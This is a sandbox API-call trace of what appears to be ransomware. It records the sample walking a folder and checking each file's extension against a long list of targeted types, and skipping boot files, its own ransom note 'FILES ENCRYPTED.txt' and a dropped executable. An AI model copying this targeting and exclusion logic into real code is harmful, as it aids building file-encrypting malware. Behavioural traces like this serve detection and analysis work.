	[0164.960] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0164.961] lstrlenW (lpString=".cfu") returned 4
	[0164.961] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0164.961] lstrlenW (lpString=".chm") returned 4
	[0164.961] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0164.961] lstrlenW (lpString=".cin") returned 4
	[0164.961] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0164.961] lstrlenW (lpString=".class") returned 6
	[0164.961] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0164.961] lstrlenW (lpString=".clx") returned 4
	[0164.961] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0164.961] lstrlenW (lpString=".config") returned 7
	[0164.961] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0164.961] lstrlenW (lpString=".cpp") returned 4
	[0164.961] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0164.961] lstrlenW (lpString=".cr2") returned 4
	[0164.961] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0164.961] lstrlenW (lpString=".crt") returned 4
	[0164.961] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0164.961] lstrlenW (lpString=".crw") returned 4
	[0164.961] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0164.961] lstrlenW (lpString=".cs") returned 3
	[0164.961] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0164.961] lstrlenW (lpString=".css") returned 4
	[0164.961] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0164.961] lstrlenW (lpString=".csv") returned 4
	[0164.961] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0164.961] lstrlenW (lpString=".cub") returned 4
	[0164.961] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0164.961] lstrlenW (lpString=".dae") returned 4
	[0164.961] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0164.961] lstrlenW (lpString=".dat") returned 4
	[0164.961] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0164.961] lstrlenW (lpString=".db") returned 3
	[0164.961] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0164.961] lstrlenW (lpString=".dbf") returned 4
	[0164.961] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0164.962] lstrlenW (lpString=".dbx") returned 4
	[0164.962] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0164.962] lstrlenW (lpString=".dc3") returned 4
	[0164.962] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0164.962] lstrlenW (lpString=".dcm") returned 4
	[0164.962] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0164.962] lstrlenW (lpString=".dcr") returned 4
	[0164.962] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0164.962] lstrlenW (lpString=".der") returned 4
	[0164.962] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0164.962] lstrlenW (lpString=".dib") returned 4
	[0164.962] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0164.962] lstrlenW (lpString=".dic") returned 4
	[0164.962] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0164.962] lstrlenW (lpString=".dif") returned 4
	[0164.962] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0164.962] lstrlenW (lpString=".divx") returned 5
	[0164.962] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0164.962] lstrlenW (lpString=".djvu") returned 5
	[0164.962] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0164.962] lstrlenW (lpString=".dng") returned 4
	[0164.962] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0164.962] lstrlenW (lpString=".doc") returned 4
	[0164.962] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0164.962] lstrlenW (lpString=".docm") returned 5
	[0164.962] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0164.962] lstrlenW (lpString=".docx") returned 5
	[0164.962] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0164.962] lstrlenW (lpString=".dot") returned 4
	[0164.962] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0164.962] lstrlenW (lpString=".dotm") returned 5
	[0164.962] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0164.962] lstrlenW (lpString=".dotx") returned 5
	[0164.962] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0164.962] lstrlenW (lpString=".dpx") returned 4
	[0164.963] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0164.963] lstrlenW (lpString=".dqy") returned 4
	[0164.963] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0164.963] lstrlenW (lpString=".dsn") returned 4
	[0164.963] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0164.963] lstrlenW (lpString=".dt") returned 3
	[0164.963] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0164.963] lstrlenW (lpString=".dtd") returned 4
	[0164.963] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0164.963] lstrlenW (lpString=".dwg") returned 4
	[0164.963] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0164.963] lstrlenW (lpString=".dwt") returned 4
	[0164.963] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0164.963] lstrlenW (lpString=".dx") returned 3
	[0164.963] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0164.963] lstrlenW (lpString=".dxf") returned 4
	[0164.963] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0164.963] lstrlenW (lpString=".edml") returned 5
	[0164.963] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0164.963] lstrlenW (lpString=".efd") returned 4
	[0164.963] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0164.963] lstrlenW (lpString=".elf") returned 4
	[0164.963] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0164.963] lstrlenW (lpString=".emf") returned 4
	[0164.963] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0164.963] lstrlenW (lpString=".emz") returned 4
	[0164.963] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0164.963] lstrlenW (lpString=".epf") returned 4
	[0164.963] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0164.963] lstrlenW (lpString=".eps") returned 4
	[0164.963] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0164.963] lstrlenW (lpString=".epsf") returned 5
	[0164.963] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0164.963] lstrlenW (lpString=".epsp") returned 5
	[0164.963] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0164.964] lstrlenW (lpString=".erf") returned 4
	[0164.964] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0164.964] lstrlenW (lpString=".exr") returned 4
	[0164.964] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0164.964] lstrlenW (lpString=".f4v") returned 4
	[0164.964] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0164.964] lstrlenW (lpString=".fido") returned 5
	[0164.964] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0164.964] lstrlenW (lpString=".flm") returned 4
	[0164.964] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0164.964] lstrlenW (lpString=".flv") returned 4
	[0164.964] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0164.964] lstrlenW (lpString=".frm") returned 4
	[0164.964] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0164.964] lstrlenW (lpString=".fxg") returned 4
	[0164.964] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0164.964] lstrlenW (lpString=".geo") returned 4
	[0164.964] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0164.964] lstrlenW (lpString=".gif") returned 4
	[0164.964] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0164.964] lstrlenW (lpString=".grs") returned 4
	[0164.964] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0164.964] lstrlenW (lpString=".gz") returned 3
	[0164.964] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0164.964] lstrlenW (lpString=".h") returned 2
	[0164.964] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0164.964] lstrlenW (lpString=".hdr") returned 4
	[0164.964] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0164.964] lstrlenW (lpString=".hpp") returned 4
	[0164.964] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0164.964] lstrlenW (lpString=".hta") returned 4
	[0164.964] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0164.964] lstrlenW (lpString=".htc") returned 4
	[0164.964] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0164.964] lstrlenW (lpString=".htm") returned 4
	[0164.964] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0164.965] lstrlenW (lpString=".html") returned 5
	[0164.965] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0164.965] lstrlenW (lpString="index.html") returned 10
	[0164.965] lstrlenW (lpString=".GTF") returned 4
	[0164.965] lstrcmpiW (lpString1=".GTF", lpString2="html") returned -1
	[0164.965] lstrlenW (lpString="index.html") returned 10
	[0164.965] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1
	[0164.965] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1
	[0164.965] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1
	[0164.965] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1
	[0164.965] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1
	[0164.965] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1
	[0164.965] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1
	[0164.965] lstrcmpiW (lpString1="fvppjh.exe", lpString2="index.html") returned -1
	[0164.965] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\index.html") returned 111
	[0164.965] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0164.965] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0164.965] lstrlenW (lpString=".1cd") returned 4
	[0164.965] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0164.965] lstrlenW (lpString=".3ds") returned 4
	[0164.965] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0164.965] lstrlenW (lpString=".3fr") returned 4
	[0164.965] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0164.965] lstrlenW (lpString=".3g2") returned 4
	[0164.965] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0164.965] lstrlenW (lpString=".3gp") returned 4
	[0164.965] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0164.965] lstrlenW (lpString=".7z") returned 3
	[0164.965] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0164.965] lstrlenW (lpString=".accda") returned 6
	[0164.965] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0164.965] lstrlenW (lpString=".accdb") returned 6
	[0164.966] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0164.966] lstrlenW (lpString=".accdc") returned 6
	[0164.966] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0164.966] lstrlenW (lpString=".accde") returned 6
	[0164.966] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0164.966] lstrlenW (lpString=".accdt") returned 6
	[0164.966] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0164.966] lstrlenW (lpString=".accdw") returned 6
	[0164.966] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0164.966] lstrlenW (lpString=".adb") returned 4
	[0164.966] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0164.966] lstrlenW (lpString=".adp") returned 4
	[0164.966] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0164.966] lstrlenW (lpString=".ai") returned 3
	[0164.966] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0164.966] lstrlenW (lpString=".ai3") returned 4
	[0164.966] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0164.966] lstrlenW (lpString=".ai4") returned 4
	[0164.966] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0164.966] lstrlenW (lpString=".ai5") returned 4
	[0164.966] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0164.966] lstrlenW (lpString=".ai6") returned 4
	[0164.966] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0164.966] lstrlenW (lpString=".ai7") returned 4
	[0164.966] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0164.966] lstrlenW (lpString=".ai8") returned 4
	[0164.966] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0164.966] lstrlenW (lpString=".anim") returned 5
	[0164.966] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0164.966] lstrlenW (lpString=".arw") returned 4
	[0164.966] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0164.966] lstrlenW (lpString=".as") returned 3
	[0164.966] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0164.966] lstrlenW (lpString=".asa") returned 4
	[0164.966] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0164.966] lstrlenW (lpString=".asc") returned 4
	[0164.967] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0164.967] lstrlenW (lpString=".ascx") returned 5
	[0164.967] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0164.967] lstrlenW (lpString=".asm") returned 4
	[0164.967] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0164.967] lstrlenW (lpString=".asmx") returned 5
	[0164.967] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0164.967] lstrlenW (lpString=".asp") returned 4
	[0164.967] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0164.967] lstrlenW (lpString=".aspx") returned 5
	[0164.967] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0164.967] lstrlenW (lpString=".asr") returned 4
	[0164.967] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0164.967] lstrlenW (lpString=".asx") returned 4
	[0164.967] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0164.967] lstrlenW (lpString=".avi") returned 4
	[0164.967] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0164.967] lstrlenW (lpString=".avs") returned 4
	[0164.967] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0164.967] lstrlenW (lpString=".backup") returned 7
	[0164.967] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0164.967] lstrlenW (lpString=".bak") returned 4
	[0164.967] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0164.967] lstrlenW (lpString=".bay") returned 4
	[0164.967] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0164.967] lstrlenW (lpString=".bd") returned 3
	[0164.967] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0164.967] lstrlenW (lpString=".bin") returned 4
	[0164.967] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0164.967] lstrlenW (lpString=".bmp") returned 4
	[0164.967] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0164.967] lstrlenW (lpString=".bz2") returned 4
	[0164.967] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0164.967] lstrlenW (lpString=".c") returned 2
	[0164.968] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0164.968] lstrlenW (lpString=".cdr") returned 4
	[0164.968] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0164.968] lstrlenW (lpString=".cer") returned 4
	[0164.968] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0164.968] lstrlenW (lpString=".cf") returned 3
	[0164.968] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0164.968] lstrlenW (lpString=".cfc") returned 4
	[0164.968] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0164.968] lstrlenW (lpString=".cfm") returned 4
	[0164.968] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0164.968] lstrlenW (lpString=".cfml") returned 5
	[0164.968] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0164.968] lstrlenW (lpString=".cfu") returned 4
	[0164.968] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0164.968] lstrlenW (lpString=".chm") returned 4
	[0164.968] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0164.968] lstrlenW (lpString=".cin") returned 4
	[0164.968] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0164.968] lstrlenW (lpString=".class") returned 6
	[0164.968] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
	[0164.968] lstrlenW (lpString=".clx") returned 4
	[0164.968] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0164.968] lstrlenW (lpString=".config") returned 7
	[0164.968] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0164.968] lstrlenW (lpString=".cpp") returned 4
	[0164.968] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0164.968] lstrlenW (lpString=".cr2") returned 4
	[0164.968] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0164.968] lstrlenW (lpString=".crt") returned 4
	[0164.968] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0164.968] lstrlenW (lpString=".crw") returned 4
	[0164.968] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0164.968] lstrlenW (lpString=".cs") returned 3
	[0164.968] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0164.969] lstrlenW (lpString=".css") returned 4
	[0164.969] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0164.969] lstrlenW (lpString=".csv") returned 4
	[0164.969] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0164.969] lstrlenW (lpString=".cub") returned 4
	[0164.969] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0164.969] lstrlenW (lpString=".dae") returned 4
	[0164.969] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0164.969] lstrlenW (lpString=".dat") returned 4
	[0164.969] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0164.969] lstrlenW (lpString=".db") returned 3
	[0164.969] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0164.969] lstrlenW (lpString=".dbf") returned 4
	[0164.969] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0164.969] lstrlenW (lpString=".dbx") returned 4
	[0164.969] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0164.969] lstrlenW (lpString=".dc3") returned 4
	[0164.969] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0164.969] lstrlenW (lpString=".dcm") returned 4
	[0164.969] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0164.969] lstrlenW (lpString=".dcr") returned 4
	[0164.969] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0164.969] lstrlenW (lpString=".der") returned 4
	[0164.969] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0164.969] lstrlenW (lpString=".dib") returned 4
	[0164.969] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0164.969] lstrlenW (lpString=".dic") returned 4
	[0164.969] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0164.969] lstrlenW (lpString=".dif") returned 4
	[0164.969] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0164.969] lstrlenW (lpString=".divx") returned 5
	[0164.969] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0164.969] lstrlenW (lpString=".djvu") returned 5
	[0164.969] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0164.969] lstrlenW (lpString=".dng") returned 4
	[0164.970] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0164.970] lstrlenW (lpString=".doc") returned 4
	[0164.970] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0164.970] lstrlenW (lpString=".docm") returned 5
	[0164.970] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0164.970] lstrlenW (lpString=".docx") returned 5
	[0164.970] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0164.970] lstrlenW (lpString=".dot") returned 4
	[0164.970] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0164.970] lstrlenW (lpString=".dotm") returned 5
	[0164.970] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0164.970] lstrlenW (lpString=".dotx") returned 5
	[0164.970] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0164.970] lstrlenW (lpString=".dpx") returned 4
	[0164.970] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0164.970] lstrlenW (lpString=".dqy") returned 4
	[0164.970] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0164.970] lstrlenW (lpString=".dsn") returned 4
	[0164.970] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0164.970] lstrlenW (lpString=".dt") returned 3
	[0164.970] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0164.970] lstrlenW (lpString=".dtd") returned 4
	[0164.970] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0164.970] lstrlenW (lpString=".dwg") returned 4
	[0164.970] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0164.970] lstrlenW (lpString=".dwt") returned 4
	[0164.970] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0164.970] lstrlenW (lpString=".dx") returned 3
	[0164.970] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0164.970] lstrlenW (lpString=".dxf") returned 4
	[0164.970] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0164.970] lstrlenW (lpString=".edml") returned 5
	[0164.970] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0164.970] lstrlenW (lpString=".efd") returned 4
	[0164.970] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0164.971] lstrlenW (lpString=".elf") returned 4
	[0164.971] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0164.971] lstrlenW (lpString=".emf") returned 4
	[0164.971] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0164.971] lstrlenW (lpString=".emz") returned 4
	[0164.971] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0164.971] lstrlenW (lpString=".epf") returned 4
	[0164.971] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0164.971] lstrlenW (lpString=".eps") returned 4
	[0164.971] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0164.971] lstrlenW (lpString=".epsf") returned 5
	[0164.971] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0164.971] lstrlenW (lpString=".epsp") returned 5
	[0164.971] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0164.971] lstrlenW (lpString=".erf") returned 4
	[0164.971] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0164.971] lstrlenW (lpString=".exr") returned 4
	[0164.971] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0164.971] lstrlenW (lpString=".f4v") returned 4
	[0164.971] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0164.971] lstrlenW (lpString=".fido") returned 5
	[0164.971] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0164.971] lstrlenW (lpString=".flm") returned 4
	[0164.971] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0164.971] lstrlenW (lpString=".flv") returned 4
	[0164.971] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0164.971] lstrlenW (lpString=".frm") returned 4
	[0164.971] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0164.971] lstrlenW (lpString=".fxg") returned 4
	[0164.971] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0164.971] lstrlenW (lpString=".geo") returned 4
	[0164.971] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0164.971] lstrlenW (lpString=".gif") returned 4
	[0164.971] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0164.971] lstrlenW (lpString=".grs") returned 4
	[0164.976] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0164.976] lstrlenW (lpString=".gz") returned 3
	[0164.976] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0164.976] lstrlenW (lpString=".h") returned 2
	[0164.976] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0164.976] lstrlenW (lpString=".hdr") returned 4
	[0164.976] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0164.976] lstrlenW (lpString=".hpp") returned 4
	[0164.976] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0164.976] lstrlenW (lpString=".hta") returned 4
	[0164.977] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0164.977] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24
	[0164.977] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0164.977] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0164.977] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0164.978] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.978] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-PH", cAlternateFileName="")) returned 1
	[0164.978] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x423fbb0
